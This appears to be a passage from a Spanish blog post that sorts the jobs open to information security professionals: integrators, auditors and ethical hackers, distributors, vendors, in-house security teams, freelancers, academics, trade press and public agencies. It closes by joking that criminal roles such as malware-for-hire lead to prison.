  • Empresa Integradora: Fundamentalmente, es una empresa dedicada a la seguridad, a todo el proceso del mismo en sí: proyectos de análisis y consultoría de seguridad de sus clientes, elaboración de informes de mejora, integración final de las soluciones adoptadas por el cliente en sus dependencias, soporte postventa, etc,…. Los roles de un consultor de seguridad en estos casos pueden ser: preventa técnico apoyando a un departamento comercial para vender las soluciones de seguridad del portfolio de la empresa; esto es, una solución que cubre diferentes puntos clave de la seguridad representada por uno o dos fabricantes diferentes (es decir, un par de soluciones UTM, de antivirus, antispam, NAC, soluciones wireless, seguridad del puesto de trabajo, etc); consultor técnico integrador de dichas tecnologías en los clientes, una vez vendidas; soporte post-venta de dichas soluciones, etc,…
  • Empresa auditora: Empresa especializada en llevar a cabo proyectos de auditorías de seguridad, ya sean de test de penetración y hacking ético, como de cumplimiento normativo, asesorando a otras organizaciones en cuanto a qué tipo de medidas serán de necesaria o recomendable aplicación después de haber analizado la situación actual en dicha entidad. Los puestos en este tipo de empresa son de auditor/hacker ético capaces de llevarse por delante los sistemas y medidas de seguridad establecidos por las empresas integradoras. Frecuentemente, las empresas integradoras y auditoras suelen ser una sola, estructurada en departamentos para cada tipo de negocio/actividad, y se suelen llamar empresas consultoras de seguridad.
  • Mayorista: La posición de un mayorista o distribuidor de seguridad, suele formar parte del canal a seguir entre las empresas integradoras y los fabricantes de los productos que comercializan. De esta manera cuando una empresa integradora ha vendido una solución de seguridad, pide las licencias, dispositivos o lo que comprenda dicha solución a un mayorista. Estos últimos suelen denominarse “mayoristas de valor”, aquellos que no se limitan a “mover cajas” de una empresa a otra, sino que además aportan algún tipo de valor añadido al proyecto, con un nivel de soporte extra al cliente o al integrador, recursos físicos donde congregar a diferentes clientes en forma de algún evento formal o informal, ofrecer e impartir formación reglada a integradores y clientes finales, etc… En muchas ocasiones incluso, los mayoristas cuentan con stock para poder proveer de forma ágil las demandas de un tipo de producto sin tener que “mover las cajas” entre fabricantes e integradores. Trabajar en un mayorista suele requerir haber trabajado en integradores previamente, haber establecido el contacto con ellos previamente, y que hayan demandado un perfil técnico concreto para dar soporte de varios tipos de tecnologías a integradores, o cursos de los productos ofrecidos a sus clientes.
  • Fabricante: En uno de los extremos se encuentran los fabricantes de soluciones de seguridad. Trabajar para uno de ellos conlleva conocer una, varias o todas (dependiendo del tamaño del mismo), las líneas de producto que estos venden. Los tipos de trabajo en un fabricante pueden ser, entre otros, como preventa técnico, es decir, apoyando al departamento comercial a encontrar y generar oportunidades en diferentes clientes, demostrando las ventajas de nuestros productos ante los de la competencia; I+D, eres parte de las tripas de uno o varios productos que luego otros tendrán que vender; en el departamento de Calidad, haciendo Q&A y miles de perrerías a las soluciones disponibles a fin de ofrecer un producto suficientemente estable; soporte post-venta, ayudando a clientes finales, mayoristas e integradores ante un determinado problema o configuración que se atasca.
  • Cliente final: En el otro extremo de la cadena se encuentra el cliente final, que comúnmente tiene uno o varios problemas o necesidades que conciernen a la seguridad de sus infraestructuras TI. Con un departamento de seguridad propio, suelen contar con un responsable de seguridad, encargado de gestionar los diferentes proyectos que requerirán empresas integradoras y/o auditoras, que ayuden con su know-how o proponiendo soluciones de seguridad que cubran las necesidades. Además del responsable de seguridad, los clientes finales de entidad suficiente, suelen disponer de un departamento de seguridad, que lleva a cabo el día a día de estas necesarias labores. Trabajar en un cliente final, suele ser lo más deseado por todos los profesionales de la seguridad, dada la “supuesta” estabilidad que un puesto de estas características provee.
  • Freelance: En los tiempos que corren, este tipo de trabajo suele ser más complicado. Como cualquier autónomo, si no tienes proyectos, no trabajas y por ende no cobras. Para poder dedicarte al mundo freelance, aparte de tener que contar con una extensa red de contactos en integradores/ auditores que externalicen proyectos, hay que tener una muy buena reputación profesional que asegure una continuidad puesto que el mes que no trabajas, no cobras.
  • Académico: Como les sucedió a muchos amigos con los que estudié en la Universidad, les gustó tanto el mundo académico, que decidieron quedarse allí como profesores dedicados a alguna materia en concreto. Para trabajar como profesor universitario, aparte de conocimientos sobre lo que tienes como cometido divulgar a tus alumnos, hay que contar con vocación y paciencia para la enseñanza. En general, las labores académicas son compaginables con otro tipo de trabajos, ya sea de investigación (dentro de la propia Universidad o fuera de ella) así como de empresa privada o freelance.
  • Prensa especializada: Aunque ya hemos recopilado en un par de ocasiones, las diferentes publicaciones en papel dedicadas al sector de la seguridad informática, la verdad es que, salvo en las secciones más técnicas de laboratorio y prueba de productos, es complicado encontrar cabida para un experto en seguridad siendo más labor de periodismo técnico.
  • Administración pública: Dentro de lo que se engloba como trabajar para el Estado, podemos postular a oposiciones para los Cuerpos y fuerzas de seguridad del estado, como la Unidad de Delitos Telemáticos de la Guardia Civil, así como la investigación en organizaciones estatales como CSIC, o divulgación y concienciación como hace por ejemplo INTECO.
Como véis, he contemplado en mi particular clasificación, trabajos “legales” relacionados con la seguridad. No he contado con aquellos como spammer, hacker “no ético”, creador de malware por encargo, botnets, etc,… cibermercenario o ciberterrorista…. que seguro que también dejan dinero pero que hay que esperar a salir de la cárcel para podértelo gastar.